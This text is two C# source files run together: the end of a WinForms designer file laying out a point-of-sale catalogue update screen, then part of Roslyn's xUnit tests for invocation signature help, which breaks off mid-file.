this.tmrMEndUpdatePOS.Enabled = false; this.tmrMEndUpdatePOS.Interval = 10; this._frmType_0.BackColor = System.Drawing.Color.FromArgb(192, 255, 192); this._frmType_0.Text = "Option One (Update POS Changes)"; this._frmType_0.Font = new System.Drawing.Font("Arial", 8.25f, System.Drawing.FontStyle.Bold | System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, Convert.ToByte(178)); this._frmType_0.Size = new System.Drawing.Size(382, 196); this._frmType_0.Location = new System.Drawing.Point(8, 50); this._frmType_0.TabIndex = 4; this._frmType_0.Enabled = true; this._frmType_0.ForeColor = System.Drawing.SystemColors.ControlText; this._frmType_0.RightToLeft = System.Windows.Forms.RightToLeft.No; this._frmType_0.Visible = true; this._frmType_0.Padding = new System.Windows.Forms.Padding(0); this._frmType_0.Name = "_frmType_0"; this.cmdBuildChanges.TextAlign = System.Drawing.ContentAlignment.MiddleCenter; this.cmdBuildChanges.Text = "&View and Update changes >>"; this.cmdBuildChanges.Font = new System.Drawing.Font("Arial", 8.25f, System.Drawing.FontStyle.Bold | System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, Convert.ToByte(178)); this.cmdBuildChanges.Size = new System.Drawing.Size(178, 52); this.cmdBuildChanges.Location = new System.Drawing.Point(180, 132); this.cmdBuildChanges.TabIndex = 6; this.cmdBuildChanges.TabStop = false; this.cmdBuildChanges.BackColor = System.Drawing.SystemColors.Control; this.cmdBuildChanges.CausesValidation = true; this.cmdBuildChanges.Enabled = true; this.cmdBuildChanges.ForeColor = System.Drawing.SystemColors.ControlText; this.cmdBuildChanges.Cursor = System.Windows.Forms.Cursors.Default; this.cmdBuildChanges.RightToLeft = System.Windows.Forms.RightToLeft.No; this.cmdBuildChanges.Name = "cmdBuildChanges"; this._Label3_0.Text = "Click on the \"View and Update changes >>\" button to continue."; this._Label3_0.Size = new System.Drawing.Size(157, 46); this._Label3_0.Location = new System.Drawing.Point(12, 144); this._Label3_0.TabIndex = 15; this._Label3_0.TextAlign = System.Drawing.ContentAlignment.TopLeft; this._Label3_0.BackColor = System.Drawing.Color.Transparent; this._Label3_0.Enabled = true; this._Label3_0.ForeColor = System.Drawing.SystemColors.ControlText; this._Label3_0.Cursor = System.Windows.Forms.Cursors.Default; this._Label3_0.RightToLeft = System.Windows.Forms.RightToLeft.No; this._Label3_0.UseMnemonic = true; this._Label3_0.Visible = true; this._Label3_0.AutoSize = false; this._Label3_0.BorderStyle = System.Windows.Forms.BorderStyle.None; this._Label3_0.Name = "_Label3_0"; this._Label1_0.BackColor = System.Drawing.Color.Transparent; this._Label1_0.Text = "As you make changes to your catalogue by the use of the Stock Item, Pricing, Deposit and Pricing Group maintenance screens, the system records these changes and allows you to quickly update just the known changes to the \"Point Of Sale\" devices."; this._Label1_0.ForeColor = System.Drawing.SystemColors.WindowText; this._Label1_0.Size = new System.Drawing.Size(316, 70); this._Label1_0.Location = new System.Drawing.Point(30, 36); this._Label1_0.TabIndex = 5; this._Label1_0.TextAlign = System.Drawing.ContentAlignment.TopLeft; this._Label1_0.Enabled = true; this._Label1_0.Cursor = System.Windows.Forms.Cursors.Default; this._Label1_0.RightToLeft = System.Windows.Forms.RightToLeft.No; this._Label1_0.UseMnemonic = true; this._Label1_0.Visible = true; this._Label1_0.AutoSize = false; this._Label1_0.BorderStyle = System.Windows.Forms.BorderStyle.None; this._Label1_0.Name = "_Label1_0"; this.tmrDuplicate.Enabled = false; this.tmrDuplicate.Interval = 10; this._cmdType_2.TextAlign = System.Drawing.ContentAlignment.MiddleCenter; this._cmdType_2.BackColor = System.Drawing.Color.FromArgb(255, 192, 192); this._cmdType_2.Text = "&3. Update All"; this._cmdType_2.Font = new System.Drawing.Font("Arial", 8.25f, System.Drawing.FontStyle.Bold | System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, Convert.ToByte(178)); this._cmdType_2.Size = new System.Drawing.Size(121, 31); this._cmdType_2.Location = new System.Drawing.Point(267, 264); this._cmdType_2.TabIndex = 10; this._cmdType_2.CausesValidation = true; this._cmdType_2.Enabled = true; this._cmdType_2.ForeColor = System.Drawing.SystemColors.ControlText; this._cmdType_2.Cursor = System.Windows.Forms.Cursors.Default; this._cmdType_2.RightToLeft = System.Windows.Forms.RightToLeft.No; this._cmdType_2.TabStop = true; this._cmdType_2.Name = "_cmdType_2"; this._cmdType_1.TextAlign = System.Drawing.ContentAlignment.MiddleCenter; this._cmdType_1.BackColor = System.Drawing.Color.FromArgb(255, 255, 192); this._cmdType_1.Text = "&2. Update by Filter"; this._cmdType_1.Font = new System.Drawing.Font("Arial", 8.25f, System.Drawing.FontStyle.Bold | System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, Convert.ToByte(178)); this._cmdType_1.Size = new System.Drawing.Size(124, 31); this._cmdType_1.Location = new System.Drawing.Point(134, 262); this._cmdType_1.TabIndex = 9; this._cmdType_1.CausesValidation = true; this._cmdType_1.Enabled = true; this._cmdType_1.ForeColor = System.Drawing.SystemColors.ControlText; this._cmdType_1.Cursor = System.Windows.Forms.Cursors.Default; this._cmdType_1.RightToLeft = System.Windows.Forms.RightToLeft.No; this._cmdType_1.TabStop = true; this._cmdType_1.Name = "_cmdType_1"; this._cmdType_0.TextAlign = System.Drawing.ContentAlignment.MiddleCenter; this._cmdType_0.BackColor = System.Drawing.Color.FromArgb(192, 255, 192); this._cmdType_0.Text = "&1. Changes Only"; this._cmdType_0.Font = new System.Drawing.Font("Arial", 8.25f, System.Drawing.FontStyle.Bold | System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, Convert.ToByte(178)); this._cmdType_0.Size = new System.Drawing.Size(121, 31); this._cmdType_0.Location = new System.Drawing.Point(6, 264); this._cmdType_0.TabIndex = 8; this._cmdType_0.CausesValidation = true; this._cmdType_0.Enabled = true; this._cmdType_0.ForeColor = System.Drawing.SystemColors.ControlText; this._cmdType_0.Cursor = System.Windows.Forms.Cursors.Default; this._cmdType_0.RightToLeft = System.Windows.Forms.RightToLeft.No; this._cmdType_0.TabStop = true; this._cmdType_0.Name = "_cmdType_0"; this._frmType_1.BackColor = System.Drawing.Color.FromArgb(255, 255, 192); this._frmType_1.Text = "Update POS by a filter"; this._frmType_1.Font = new System.Drawing.Font("Arial", 8.25f, System.Drawing.FontStyle.Bold | System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, Convert.ToByte(178)); this._frmType_1.Size = new System.Drawing.Size(382, 196); this._frmType_1.Location = new System.Drawing.Point(99, 72); this._frmType_1.TabIndex = 1; this._frmType_1.Enabled = true; this._frmType_1.ForeColor = System.Drawing.SystemColors.ControlText; this._frmType_1.RightToLeft = System.Windows.Forms.RightToLeft.No; this._frmType_1.Visible = true; this._frmType_1.Padding = new System.Windows.Forms.Padding(0); this._frmType_1.Name = "_frmType_1"; this.cmdBuildFilter.TextAlign = System.Drawing.ContentAlignment.MiddleCenter; this.cmdBuildFilter.Text = "&View and Update changes >>"; this.cmdBuildFilter.Font = new System.Drawing.Font("Arial", 8.25f, System.Drawing.FontStyle.Bold | System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, Convert.ToByte(178)); this.cmdBuildFilter.Size = new System.Drawing.Size(178, 52); this.cmdBuildFilter.Location = new System.Drawing.Point(180, 132); this.cmdBuildFilter.TabIndex = 7; this.cmdBuildFilter.TabStop = false; this.cmdBuildFilter.BackColor = System.Drawing.SystemColors.Control; this.cmdBuildFilter.CausesValidation = true; this.cmdBuildFilter.Enabled = true; this.cmdBuildFilter.ForeColor = System.Drawing.SystemColors.ControlText; this.cmdBuildFilter.Cursor = System.Windows.Forms.Cursors.Default; this.cmdBuildFilter.RightToLeft = System.Windows.Forms.RightToLeft.No; this.cmdBuildFilter.Name = "cmdBuildFilter"; this.cmdNamespace.TextAlign = System.Drawing.ContentAlignment.MiddleCenter; this.cmdNamespace.Text = "&Filter"; this.cmdNamespace.Font = new System.Drawing.Font("Arial", 8.25f, System.Drawing.FontStyle.Bold | System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, Convert.ToByte(178)); this.cmdNamespace.Size = new System.Drawing.Size(97, 52); this.cmdNamespace.Location = new System.Drawing.Point(9, 132); this.cmdNamespace.TabIndex = 2; this.cmdNamespace.TabStop = false; this.cmdNamespace.BackColor = System.Drawing.SystemColors.Control; this.cmdNamespace.CausesValidation = true; this.cmdNamespace.Enabled = true; this.cmdNamespace.ForeColor = System.Drawing.SystemColors.ControlText; this.cmdNamespace.Cursor = System.Windows.Forms.Cursors.Default; this.cmdNamespace.RightToLeft = System.Windows.Forms.RightToLeft.No; this.cmdNamespace.Name = "cmdNamespace"; this.lblHeading.Text = "Using the \"Stock Item Selector\" ....."; this.lblHeading.Size = new System.Drawing.Size(349, 106); this.lblHeading.Location = new System.Drawing.Point(9, 18); this.lblHeading.TabIndex = 3; this.lblHeading.TextAlign = System.Drawing.ContentAlignment.TopLeft; this.lblHeading.BackColor = System.Drawing.SystemColors.Control; this.lblHeading.Enabled = true; this.lblHeading.ForeColor = System.Drawing.SystemColors.ControlText; this.lblHeading.Cursor = System.Windows.Forms.Cursors.Default; this.lblHeading.RightToLeft = System.Windows.Forms.RightToLeft.No; this.lblHeading.UseMnemonic = true; this.lblHeading.Visible = true; this.lblHeading.AutoSize = false; this.lblHeading.BorderStyle = System.Windows.Forms.BorderStyle.Fixed3D; this.lblHeading.Name = "lblHeading"; this.cmdExit.TextAlign = System.Drawing.ContentAlignment.MiddleCenter; this.cmdExit.Text = "E&xit"; this.cmdExit.Font = new System.Drawing.Font("Arial", 8.25f, System.Drawing.FontStyle.Bold | System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, Convert.ToByte(178)); this.cmdExit.Size = new System.Drawing.Size(97, 52); this.cmdExit.Location = new System.Drawing.Point(406, 8); this.cmdExit.TabIndex = 0; this.cmdExit.TabStop = false; this.cmdExit.BackColor = System.Drawing.SystemColors.Control; this.cmdExit.CausesValidation = true; this.cmdExit.Enabled = true; this.cmdExit.ForeColor = System.Drawing.SystemColors.ControlText; this.cmdExit.Cursor = System.Windows.Forms.Cursors.Default; this.cmdExit.RightToLeft = System.Windows.Forms.RightToLeft.No; this.cmdExit.Name = "cmdExit"; this._frmType_2.BackColor = System.Drawing.Color.FromArgb(255, 192, 192); this._frmType_2.Text = "Option Three (Check Data Integrity)"; this._frmType_2.Font = new System.Drawing.Font("Arial", 8.25f, System.Drawing.FontStyle.Bold | System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, Convert.ToByte(178)); this._frmType_2.Size = new System.Drawing.Size(382, 196); this._frmType_2.Location = new System.Drawing.Point(63, 129); this._frmType_2.TabIndex = 11; this._frmType_2.Enabled = true; this._frmType_2.ForeColor = System.Drawing.SystemColors.ControlText; this._frmType_2.RightToLeft = System.Windows.Forms.RightToLeft.No; this._frmType_2.Visible = true; this._frmType_2.Padding = new System.Windows.Forms.Padding(0); this._frmType_2.Name = "_frmType_2"; this.cmdBuildAll.TextAlign = System.Drawing.ContentAlignment.MiddleCenter; this.cmdBuildAll.Text = "&View and Update changes >>"; this.cmdBuildAll.Font = new System.Drawing.Font("Arial", 8.25f, System.Drawing.FontStyle.Bold | System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, Convert.ToByte(178)); this.cmdBuildAll.Size = new System.Drawing.Size(178, 52); this.cmdBuildAll.Location = new System.Drawing.Point(180, 132); this.cmdBuildAll.TabIndex = 12; this.cmdBuildAll.TabStop = false; this.cmdBuildAll.BackColor = System.Drawing.SystemColors.Control; this.cmdBuildAll.CausesValidation = true; this.cmdBuildAll.Enabled = true; this.cmdBuildAll.ForeColor = System.Drawing.SystemColors.ControlText; this.cmdBuildAll.Cursor = System.Windows.Forms.Cursors.Default; this.cmdBuildAll.RightToLeft = System.Windows.Forms.RightToLeft.No; this.cmdBuildAll.Name = "cmdBuildAll"; this._Label3_1.Text = "Click on the \"View and Update changes >>\" button to continue."; this._Label3_1.Size = new System.Drawing.Size(157, 46); this._Label3_1.Location = new System.Drawing.Point(12, 144); this._Label3_1.TabIndex = 16; this._Label3_1.TextAlign = System.Drawing.ContentAlignment.TopLeft; this._Label3_1.BackColor = System.Drawing.Color.Transparent; this._Label3_1.Enabled = true; this._Label3_1.ForeColor = System.Drawing.SystemColors.ControlText; this._Label3_1.Cursor = System.Windows.Forms.Cursors.Default; this._Label3_1.RightToLeft = System.Windows.Forms.RightToLeft.No; this._Label3_1.UseMnemonic = true; this._Label3_1.Visible = true; this._Label3_1.AutoSize = false; this._Label3_1.BorderStyle = System.Windows.Forms.BorderStyle.None; this._Label3_1.Name = "_Label3_1"; this._Label1_1.BackColor = System.Drawing.Color.Transparent; this._Label1_1.Text = "This option will check all your data for changes. The reason for using this option would be to thoroughly check all your data to make sure that your data integrity is correct."; this._Label1_1.ForeColor = System.Drawing.SystemColors.WindowText; this._Label1_1.Size = new System.Drawing.Size(316, 70); this._Label1_1.Location = new System.Drawing.Point(30, 36); this._Label1_1.TabIndex = 13; this._Label1_1.TextAlign = System.Drawing.ContentAlignment.TopLeft; this._Label1_1.Enabled = true; this._Label1_1.Cursor = System.Windows.Forms.Cursors.Default; this._Label1_1.RightToLeft = System.Windows.Forms.RightToLeft.No; this._Label1_1.UseMnemonic = true; this._Label1_1.Visible = true; this._Label1_1.AutoSize = false; this._Label1_1.BorderStyle = System.Windows.Forms.BorderStyle.None; this._Label1_1.Name = "_Label1_1"; this.Label2.Text = "You may set the Point Of Sale update instruction with one of three methods. Each offering a different update type. By click on the buttons below you will be able to switch between each of these options."; this.Label2.Size = new System.Drawing.Size(370, 49); this.Label2.Location = new System.Drawing.Point(18, 6); this.Label2.TabIndex = 14; this.Label2.TextAlign = System.Drawing.ContentAlignment.TopLeft; this.Label2.BackColor = System.Drawing.Color.Transparent; this.Label2.Enabled = true; this.Label2.ForeColor = System.Drawing.SystemColors.ControlText; this.Label2.Cursor = System.Windows.Forms.Cursors.Default; this.Label2.RightToLeft = System.Windows.Forms.RightToLeft.No; this.Label2.UseMnemonic = true; this.Label2.Visible = true; this.Label2.AutoSize = false; this.Label2.BorderStyle = System.Windows.Forms.BorderStyle.None; this.Label2.Name = "Label2"; this.Controls.Add(_frmType_0); this.Controls.Add(_cmdType_2); this.Controls.Add(_cmdType_1); this.Controls.Add(_cmdType_0); this.Controls.Add(_frmType_1); this.Controls.Add(cmdExit); this.Controls.Add(_frmType_2); this.Controls.Add(Label2); this._frmType_0.Controls.Add(cmdBuildChanges); this._frmType_0.Controls.Add(_Label3_0); this._frmType_0.Controls.Add(_Label1_0); this._frmType_1.Controls.Add(cmdBuildFilter); this._frmType_1.Controls.Add(cmdNamespace); this._frmType_1.Controls.Add(lblHeading); this._frmType_2.Controls.Add(cmdBuildAll); this._frmType_2.Controls.Add(_Label3_1); this._frmType_2.Controls.Add(_Label1_1); //Me.Label1.SetIndex(_Label1_0, CType(0, Short)) //Me.Label1.SetIndex(_Label1_1, CType(1, Short)) //Me.Label3.SetIndex(_Label3_0, CType(0, Short)) //Me.Label3.SetIndex(_Label3_1, CType(1, Short)) //Me.cmdType.SetIndex(_cmdType_2, CType(2, Short)) //Me.cmdType.SetIndex(_cmdType_1, CType(1, Short)) //Me.cmdType.SetIndex(_cmdType_0, CType(0, Short)) //Me.frmType.SetIndex(_frmType_0, CType(0, Short)) //Me.frmType.SetIndex(_frmType_1, CType(1, Short)) //Me.frmType.SetIndex(_frmType_2, CType(2, Short)) //CType(Me.frmType, System.ComponentModel.ISupportInitialize).EndInit() //CType(Me.cmdType, System.ComponentModel.ISupportInitialize).EndInit() //CType(Me.Label3, System.ComponentModel.ISupportInitialize).EndInit() //CType(Me.Label1, System.ComponentModel.ISupportInitialize).EndInit() this._frmType_0.ResumeLayout(false); this._frmType_1.ResumeLayout(false); this._frmType_2.ResumeLayout(false); this.ResumeLayout(false); this.PerformLayout(); } #endregion } }
// Copyright (c) Microsoft. All Rights Reserved. Licensed under the Apache License, Version 2.0. See License.txt in the project root for license information. using System.Collections.Generic; using System.Linq; using System.Threading.Tasks; using Microsoft.CodeAnalysis.CSharp; using Microsoft.CodeAnalysis.CSharp.SignatureHelp; using Microsoft.CodeAnalysis.Editor.UnitTests.SignatureHelp; using Microsoft.CodeAnalysis.Editor.UnitTests.Workspaces; using Microsoft.CodeAnalysis.SignatureHelp; using Roslyn.Test.Utilities; using Xunit; namespace Microsoft.CodeAnalysis.Editor.CSharp.UnitTests.SignatureHelp { public class InvocationExpressionSignatureHelpProviderTests : AbstractCSharpSignatureHelpProviderTests { public InvocationExpressionSignatureHelpProviderTests(CSharpTestWorkspaceFixture workspaceFixture) : base(workspaceFixture) { } internal override ISignatureHelpProvider CreateSignatureHelpProvider() { return new InvocationExpressionSignatureHelpProvider(); } #region "Regular tests" [Fact, Trait(Traits.Feature, Traits.Features.SignatureHelp)] public async Task TestInvocationAfterCloseParen() { var markup = @" class C { int Foo(int x) { [|Foo(Foo(x)$$|]); } }"; var expectedOrderedItems = new List<SignatureHelpTestItem>(); expectedOrderedItems.Add(new SignatureHelpTestItem("int C.Foo(int x)", currentParameterIndex: 0)); await TestAsync(markup, expectedOrderedItems); } [Fact, Trait(Traits.Feature, Traits.Features.SignatureHelp)] public async Task TestInvocationInsideLambda() { var markup = @" using System; class C { void Foo(Action<int> f) { [|Foo(i => Console.WriteLine(i)$$|]); } }"; var expectedOrderedItems = new List<SignatureHelpTestItem>(); expectedOrderedItems.Add(new SignatureHelpTestItem("void C.Foo(Action<int> f)", currentParameterIndex: 0)); await TestAsync(markup, expectedOrderedItems); } [Fact, Trait(Traits.Feature, Traits.Features.SignatureHelp)] public async Task TestInvocationInsideLambda2() { var markup = @" using System; class C { void Foo(Action<int> f) { [|Foo(i => Con$$sole.WriteLine(i)|]); } }"; var expectedOrderedItems = new List<SignatureHelpTestItem>(); expectedOrderedItems.Add(new SignatureHelpTestItem("void C.Foo(Action<int> f)", currentParameterIndex: 0)); await TestAsync(markup, expectedOrderedItems); } [Fact, Trait(Traits.Feature, Traits.Features.SignatureHelp)] public async Task TestInvocationWithoutParameters() { var markup = @" class C { void Foo() { [|Foo($$|]); } }"; var expectedOrderedItems = new List<SignatureHelpTestItem>(); expectedOrderedItems.Add(new SignatureHelpTestItem("void C.Foo()", string.Empty, null, currentParameterIndex: 0)); await TestAsync(markup, expectedOrderedItems); } [Fact, Trait(Traits.Feature, Traits.Features.SignatureHelp)] public async Task TestInvocationWithoutParametersMethodXmlComments() { var markup = @" class C { /// <summary> /// Summary for foo /// </summary> void Foo() { [|Foo($$|]); } }"; var expectedOrderedItems = new List<SignatureHelpTestItem>(); expectedOrderedItems.Add(new SignatureHelpTestItem("void C.Foo()", "Summary for foo", null, currentParameterIndex: 0)); await TestAsync(markup, expectedOrderedItems); } [Fact, Trait(Traits.Feature, Traits.Features.SignatureHelp)] public async Task TestInvocationWithParametersOn1() { var markup = @" class C { void Foo(int a, int b) { [|Foo($$a, b|]); } }"; var expectedOrderedItems = new List<SignatureHelpTestItem>(); expectedOrderedItems.Add(new SignatureHelpTestItem("void C.Foo(int a, int b)", string.Empty, string.Empty, currentParameterIndex: 0)); await TestAsync(markup, expectedOrderedItems); } [Fact, Trait(Traits.Feature, Traits.Features.SignatureHelp)] public async Task TestInvocationWithParametersXmlCommentsOn1() { var markup = @" class C { /// <summary> /// Summary for Foo /// </summary> /// <param name=" + "\"a\">Param a</param>" + @" /// <param name=" + "\"b\">Param b</param>" + @" void Foo(int a, int b) { [|Foo($$a, b|]); } }"; var expectedOrderedItems = new List<SignatureHelpTestItem>(); expectedOrderedItems.Add(new SignatureHelpTestItem("void C.Foo(int a, int b)", "Summary for Foo", "Param a", currentParameterIndex: 0)); await TestAsync(markup, expectedOrderedItems); } [Fact, Trait(Traits.Feature, Traits.Features.SignatureHelp)] public async Task TestInvocationWithParametersOn2() { var markup = @" class C { void Foo(int a, int b) { [|Foo(a, $$b|]); } }"; var expectedOrderedItems = new List<SignatureHelpTestItem>(); expectedOrderedItems.Add(new SignatureHelpTestItem("void C.Foo(int a, int b)", string.Empty, string.Empty, currentParameterIndex: 1)); await TestAsync(markup, expectedOrderedItems); } [Fact, Trait(Traits.Feature, Traits.Features.SignatureHelp)] public async Task TestInvocationWithParametersXmlComentsOn2() { var markup = @" class C { /// <summary> /// Summary for Foo /// </summary> /// <param name=" + "\"a\">Param a</param>" + @" /// <param name=" + "\"b\">Param b</param>" + @" void Foo(int a, int b) { [|Foo(a, $$b|]); } }"; var expectedOrderedItems = new List<SignatureHelpTestItem>(); expectedOrderedItems.Add(new SignatureHelpTestItem("void C.Foo(int a, int b)", "Summary for Foo", "Param b", currentParameterIndex: 1)); await TestAsync(markup, expectedOrderedItems); } [Fact, Trait(Traits.Feature, Traits.Features.SignatureHelp)] public async Task TestInvocationWithoutClosingParen() { var markup = @" class C { void Foo() { [|Foo($$ |]} }"; var expectedOrderedItems = new List<SignatureHelpTestItem>(); expectedOrderedItems.Add(new SignatureHelpTestItem("void C.Foo()", string.Empty, null, currentParameterIndex: 0)); await TestAsync(markup, expectedOrderedItems); } [Fact, Trait(Traits.Feature, Traits.Features.SignatureHelp)] public async Task TestInvocationWithoutClosingParenWithParameters() { var markup = @"class C { void Foo(int a, int b) { [|Foo($$a, b |]} }"; var expectedOrderedItems = new List<SignatureHelpTestItem>(); expectedOrderedItems.Add(new SignatureHelpTestItem("void C.Foo(int a, int b)", string.Empty, string.Empty, currentParameterIndex: 0)); await TestAsync(markup, expectedOrderedItems); } [Fact, Trait(Traits.Feature, Traits.Features.SignatureHelp)] public async Task TestInvocationWithoutClosingParenWithParametersOn2() { var markup = @" class C { void Foo(int a, int b) { [|Foo(a, $$b |]} }"; var expectedOrderedItems = new List<SignatureHelpTestItem>(); expectedOrderedItems.Add(new SignatureHelpTestItem("void C.Foo(int a, int b)", string.Empty, string.Empty, currentParameterIndex: 1)); await TestAsync(markup, expectedOrderedItems); } [Fact, Trait(Traits.Feature, Traits.Features.SignatureHelp)] public async Task TestInvocationOnLambda() { var markup = @" using System; class C { void Foo() { Action<int> f = (i) => Console.WriteLine(i); [|f($$ |]} }"; var expectedOrderedItems = new List<SignatureHelpTestItem>(); expectedOrderedItems.Add(new SignatureHelpTestItem("void Action<int>(int obj)", string.Empty, string.Empty, currentParameterIndex: 0)); await TestAsync(markup, expectedOrderedItems); } [Fact, Trait(Traits.Feature, Traits.Features.SignatureHelp)] public async Task TestInvocationOnMemberAccessExpression() { var markup = @" class C { static void Bar(int a) { } void Foo() { [|C.Bar($$ |]} }"; var expectedOrderedItems = new List<SignatureHelpTestItem>(); expectedOrderedItems.Add(new SignatureHelpTestItem("void C.Bar(int a)", string.Empty, string.Empty, currentParameterIndex: 0)); await TestAsync(markup, expectedOrderedItems); } [Fact, Trait(Traits.Feature, Traits.Features.SignatureHelp)] public async Task TestExtensionMethod1() { var markup = @" using System; class C { void Method() { string s = ""Text""; [|s.ExtensionMethod($$ |]} } public static class MyExtension { public static int ExtensionMethod(this string s, int x) { return s.Length; } }"; var expectedOrderedItems = new List<SignatureHelpTestItem>(); expectedOrderedItems.Add(new SignatureHelpTestItem($"({CSharpFeaturesResources.extension}) int string.ExtensionMethod(int x)", string.Empty, string.Empty, currentParameterIndex: 0)); // TODO: Once we do the work to allow extension methods in nested types, we should change this. await TestAsync(markup, expectedOrderedItems, sourceCodeKind: SourceCodeKind.Regular); } [Fact, Trait(Traits.Feature, Traits.Features.SignatureHelp)] public async Task TestOptionalParameters() { var markup = @" class Class1 { void Test() { Foo($$ } void Foo(int a = 42) { } }"; var expectedOrderedItems = new List<SignatureHelpTestItem>(); expectedOrderedItems.Add(new SignatureHelpTestItem("void Class1.Foo([int a = 42])", string.Empty, string.Empty, currentParameterIndex: 0)); await TestAsync(markup, expectedOrderedItems); } [Fact, Trait(Traits.Feature, Traits.Features.SignatureHelp)] public async Task TestNoInvocationOnEventNotInCurrentClass() { var markup = @" using System; class C { void Foo() { D d; [|d.evt($$ |]} } public class D { public event Action evt; }"; await TestAsync(markup); } [WorkItem(539712, "http://vstfdevdiv:8080/DevDiv2/DevDiv/_workitems/edit/539712")] [Fact, Trait(Traits.Feature, Traits.Features.SignatureHelp)] public async Task TestInvocationOnNamedType() { var markup = @" class Program { void Main() { C.Foo($$ } } class C { public static double Foo(double x) { return x; } public double Foo(double x, double y) { return x + y; } }"; var expectedOrderedItems = new List<SignatureHelpTestItem> { new SignatureHelpTestItem("double C.Foo(double x)", string.Empty, string.Empty, currentParameterIndex: 0) }; await TestAsync(markup, expectedOrderedItems); } [WorkItem(539712, "http://vstfdevdiv:8080/DevDiv2/DevDiv/_workitems/edit/539712")] [Fact, Trait(Traits.Feature, Traits.Features.SignatureHelp)] public async Task TestInvocationOnInstance() { var markup = @" class Program { void Main() { new C().Foo($$ } } class C { public static double Foo(double x) { return x; } public double Foo(double x, double y) { return x + y; } }"; var expectedOrderedItems = new List<SignatureHelpTestItem> { new SignatureHelpTestItem("double C.Foo(double x, double y)", string.Empty, string.Empty, currentParameterIndex: 0) }; await TestAsync(markup, expectedOrderedItems); } [WorkItem(545118, "http://vstfdevdiv:8080/DevDiv2/DevDiv/_workitems/edit/545118")] [Fact, Trait(Traits.Feature, Traits.Features.SignatureHelp)] public async Task TestStatic1() { var markup = @" class C { static void Foo() { Bar($$ } static void Bar() { } void Bar(int i) { } }"; var expectedOrderedItems = new List<SignatureHelpTestItem> { new SignatureHelpTestItem("void C.Bar()", currentParameterIndex: 0) }; await TestAsync(markup, expectedOrderedItems); } [WorkItem(545118, "http://vstfdevdiv:8080/DevDiv2/DevDiv/_workitems/edit/545118")] [Fact, Trait(Traits.Feature, Traits.Features.SignatureHelp)] public async Task TestStatic2() { var markup = @" class C { void Foo() { Bar($$ } static void Bar() { } void Bar(int i) { } }"; var expectedOrderedItems = new List<SignatureHelpTestItem> { new SignatureHelpTestItem("void C.Bar()", currentParameterIndex: 0), new SignatureHelpTestItem("void C.Bar(int i)", currentParameterIndex: 0) }; await TestAsync(markup, expectedOrderedItems); } [WorkItem(543117, "http://vstfdevdiv:8080/DevDiv2/DevDiv/_workitems/edit/543117")] [Fact, Trait(Traits.Feature, Traits.Features.SignatureHelp)] public async Task TestInvocationOnAnonymousType() { var markup = @" using System.Collections.Generic; class Program { static void Main(string[] args) { var foo = new { Name = string.Empty, Age = 30 }; Foo(foo).Add($$); } static List<T> Foo<T>(T t) { } }"; var expectedOrderedItems = new List<SignatureHelpTestItem> { new SignatureHelpTestItem( $@"void List<'a>.Add('a item) {FeaturesResources.Anonymous_Types_colon} 'a {FeaturesResources.is_} new {{ string Name, int Age }}", methodDocumentation: string.Empty, parameterDocumentation: string.Empty, currentParameterIndex: 0, description: $@" {FeaturesResources.Anonymous_Types_colon} 'a {FeaturesResources.is_} new {{ string Name, int Age }}") }; await TestAsync(markup, expectedOrderedItems); } [WorkItem(968188, "http://vstfdevdiv:8080/DevDiv2/DevDiv/_workitems/edit/968188")] [Fact, Trait(Traits.Feature, Traits.Features.SignatureHelp)] public async Task TestInvocationOnBaseExpression_ProtectedAccessibility() { var markup = @" using System; public class Base { protected virtual void Foo(int x) { } } public class Derived : Base { void Test() { base.Foo($$); } protected override void Foo(int x) { throw new NotImplementedException(); } }"; var expectedOrderedItems = new List<SignatureHelpTestItem> { new SignatureHelpTestItem( @"void Base.Foo(int x)", methodDocumentation: string.Empty, parameterDocumentation: string.Empty, currentParameterIndex: 0, description: string.Empty) }; await TestAsync(markup, expectedOrderedItems); } [WorkItem(968188, "http://vstfdevdiv:8080/DevDiv2/DevDiv/_workitems/edit/968188")] [Fact, Trait(Traits.Feature, Traits.Features.SignatureHelp)] public async Task TestInvocationOnBaseExpression_AbstractBase() { var markup = @" using System; public abstract class Base { protected abstract void Foo(int x); } public class Derived : Base { void Test() { base.Foo($$); } protected override void Foo(int x) { throw new NotImplementedException(); } }"; var expectedOrderedItems = new List<SignatureHelpTestItem> { new SignatureHelpTestItem( @"void Base.Foo(int x)", methodDocumentation: string.Empty, parameterDocumentation: string.Empty, currentParameterIndex: 0, description: string.Empty) }; await TestAsync(markup, expectedOrderedItems); } [WorkItem(968188, "http://vstfdevdiv:8080/DevDiv2/DevDiv/_workitems/edit/968188")] [Fact, Trait(Traits.Feature, Traits.Features.SignatureHelp)] public async Task TestInvocationOnThisExpression_ProtectedAccessibility() { var markup = @" using System; public class Base { protected virtual void Foo(int x) { } } public class Derived : Base { void Test() { this.Foo($$); } }"; var expectedOrderedItems = new List<SignatureHelpTestItem> { new SignatureHelpTestItem( @"void Base.Foo(int x)", methodDocumentation: string.Empty, parameterDocumentation: string.Empty, currentParameterIndex: 0, description: string.Empty) }; await TestAsync(markup, expectedOrderedItems); } [WorkItem(968188, "http://vstfdevdiv:8080/DevDiv2/DevDiv/_workitems/edit/968188")] [Fact, Trait(Traits.Feature, Traits.Features.SignatureHelp)] public async Task TestInvocationOnThisExpression_ProtectedAccessibility_Overridden() { var markup = @" using System; public class Base { protected virtual void Foo(int x) { } } public class Derived : Base { void Test() { this.Foo($$); } protected override void Foo(int x) { throw new NotImplementedException(); } }"; var expectedOrderedItems = new List<SignatureHelpTestItem> { new SignatureHelpTestItem( @"void Derived.Foo(int x)", methodDocumentation: string.Empty, parameterDocumentation: string.Empty, currentParameterIndex: 0, description: string.Empty) }; await TestAsync(markup, expectedOrderedItems); } [WorkItem(968188, "http://vstfdevdiv:8080/DevDiv2/DevDiv/_workitems/edit/968188")] [Fact, Trait(Traits.Feature, Traits.Features.SignatureHelp)] public async Task TestInvocationOnThisExpression_ProtectedAccessibility_AbstractBase() { var markup = @" using System; public abstract class Base { protected abstract void Foo(int x); } 